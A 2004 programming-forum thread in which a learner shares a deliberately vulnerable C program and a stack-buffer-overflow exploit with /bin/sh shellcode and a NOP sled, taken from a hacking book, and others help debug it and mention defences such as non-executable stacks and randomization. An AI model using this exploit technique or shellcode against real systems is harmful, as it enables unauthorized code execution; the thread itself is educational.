Advertisement

stupid buffer overflow program doesnt work.. cant understand why..

Started by December 28, 2004 07:10 AM
34 comments, last by Genjix 19 years, 10 months ago

this is just a silly buffer overflow program i saw somewhere, which when i compiled didnt work! i cant understand why as everything seems to be in order.


/*vuln.c*/
#include <string.h>

int main(int argc , char **argv)
{
	char buffer[500];
	strcpy(buffer,argv[1]);

	return 0;
}

copy first argument to out of bounds buffer


/*exploit.cpp*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";

unsigned long sp()
{
	asm("movl %esp , %eax");
}

int main(int argc , char **argv)
{
	int i;			/*looping variable*/
	char buffer[601];	/*stores argv[1] for vuln*/

	long ret = sp() - 500;	/*vuln declared 500 chars*/

	printf("esp		: 0x%x\n",sp());
	printf("esp offset	: 0x%x\n",500);
	printf("ret address	: 0x%x\n",ret);

	/*fill with return adress*/
	for(i = 0 ; i <= 601 ; i += sizeof(long))
		(long)buffer = ret;

	/*NOP*/
	for(i = 0 ; i <= 202 ; i++)
		buffer = '\x90';

	/*shellcode after NOP sled*/
	memcpy(buffer + 202 - 1 , shellcode , strlen(shellcode));

	/*fill end of array with nul for vulns strcpy*/
	buffer[600] = 0;

	execl("./vuln","vuln",buffer,0);

	return 0;
}

i generated the shellcode string by using gdb to disassemble /lib/libc.so.6 and typing in the hex codes for the execl function. and i think my offsets to esp are correct.
Uhm.. Kinda hard to see what's wrong with it, especially since no one will bother to decipher the hex-code.
Your best bet is to run it through a debugger to see what's actually happening.

Couldn't it be something trivial, like the compiler screwing up the stack offets by omitting the base pointer? Also, are you sure you've accounted for sp()'s own stack frame?
Perhaps the compiler decided that the stack should be 8-byte aligned and increased the buffer size by four bytes.

I don't know much about this kind of code but wouldn't you use a buffer overflow to insert a new return address on the stack? I just don't see how you could predict the address of the exploit code on the stack like that, is it guaranteed to be located on a fixed base address?

[Edited by - doynax on December 28, 2004 7:18:07 AM]
Advertisement
Quote: Original post by doynax
Uhm.. Kinda hard to see what's wrong with it, especially since no one will bother to decipher the hex-code.

I read that book so I can assume that the hex code creates a new user account with root privileges.
Quote: Original post by doynax
I just don't see how you could predict the address of the exploit code on the stack like that, is it guaranteed to be located on a fixed base address?

Again, I remember vaguely that that was the whole point of that sp() function.

To the OP: What system (and/or dev environment) are you using? The book did make a lot of assumptions based on a specific system.

shmoove
art of exploitation

im using SUSE 9.1 (i686) with kernel 2.6, the hex codes in the book were wrong and i had to replace them myself, i think ive gone about the correct way of generating them.


but also weird things like when i read the assembly gcc seems to push a esp (as a byte) before i overwrite esp


is there any faster (and better) way of generating the hex codes assuming i have the assembly?

Quote: Original post by Genjix
but also weird things like when i read the assembly gcc seems to push a esp (as a byte) before i overwrite esp
You can't push esp as a byte, and I'm not sure what you mean by overwriting esp.

Quote: Original post by Genjix
is there any faster (and better) way of generating the hex codes assuming i have the assembly?
You could write the code in nasm and compile it to a binary format. Just be careful to ensure that everything is position independent. The assembler can take care of any necessary headers/padding to get the exploit to work.

But you need to look at what happens in a debugger to see what's going on. There's really no guarantees for this kind of thing, the slightest change in the stack frame caused by the operating system and/or compiler would cause everything to fail. And since we don't have access to your environment we can't do much until you've identified the problem.

uh huh, ive got no problems with an assembler (gas), what i meant was something like a perl script or binary that could convert assembly code to (escaped) character strings (e.g like the shellcode), as im not sure if its my shellcode thats causing the problem (filling the whole lot with NOPs seems to work fine).

Advertisement
Quote: Original post by Genjix

uh huh, ive got no problems with an assembler (gas), what i meant was something like a perl script or binary that could convert assembly code to (escaped) character strings (e.g like the shellcode), as im not sure if its my shellcode thats causing the problem (filling the whole lot with NOPs seems to work fine).


Oh, sorry..
Why not simply read the binary file into a buffer in the program?
Otherwise you could always use one of those bin2h utilities to convert a binary file to an array of bytes.
Haven't really bothered to look at the code as I've only written SPARC assembly before. For gcc in that instance though, you needed to make sure to use
asm volatile("<whatever>");
as it might otherwise insert extra instructions or move stuff about in a spirit of misguided optimisation. Just at thought, good luck.

ah yes volatile thats what i meant when i talked about gcc doing weird things


also i think i need to read it word in backwards (hence my shellcode is wrong) because i didnt realize that the registers contents where stored on the stack in little endian


would reading a binary file in work? I mean doesnt it have all those headers?


isnt bin2h for windows? i cant seem to find any linux equivalents, but yes this is exactly what i need


I can change esp (via ebp), do i want to leave eip intact? or do i want to increment it to where my shellcode starts or should i use esp to point to my shellcode?

That buffer overflow exploit requires executable stack, right? It might also require static stack (meaning that stack always starts at the same address) or static addresses for dynamicly linked symbols.

If you're running this on linux you might not have executable stack. Perhaps due to security patches like openwall or the NX-bit in Pentium 4 (and Transmeta Efficeon).

Openwall also randomizes the stack and dynamicly linked libraries.
If you have HyperThreading capable processor (and kernel compiled for it) you get a randomized stack as a side effect (cache coloring or something).

So basicly, you might be protected against buffer overflow exploits...

This topic is closed to new replies.

Advertisement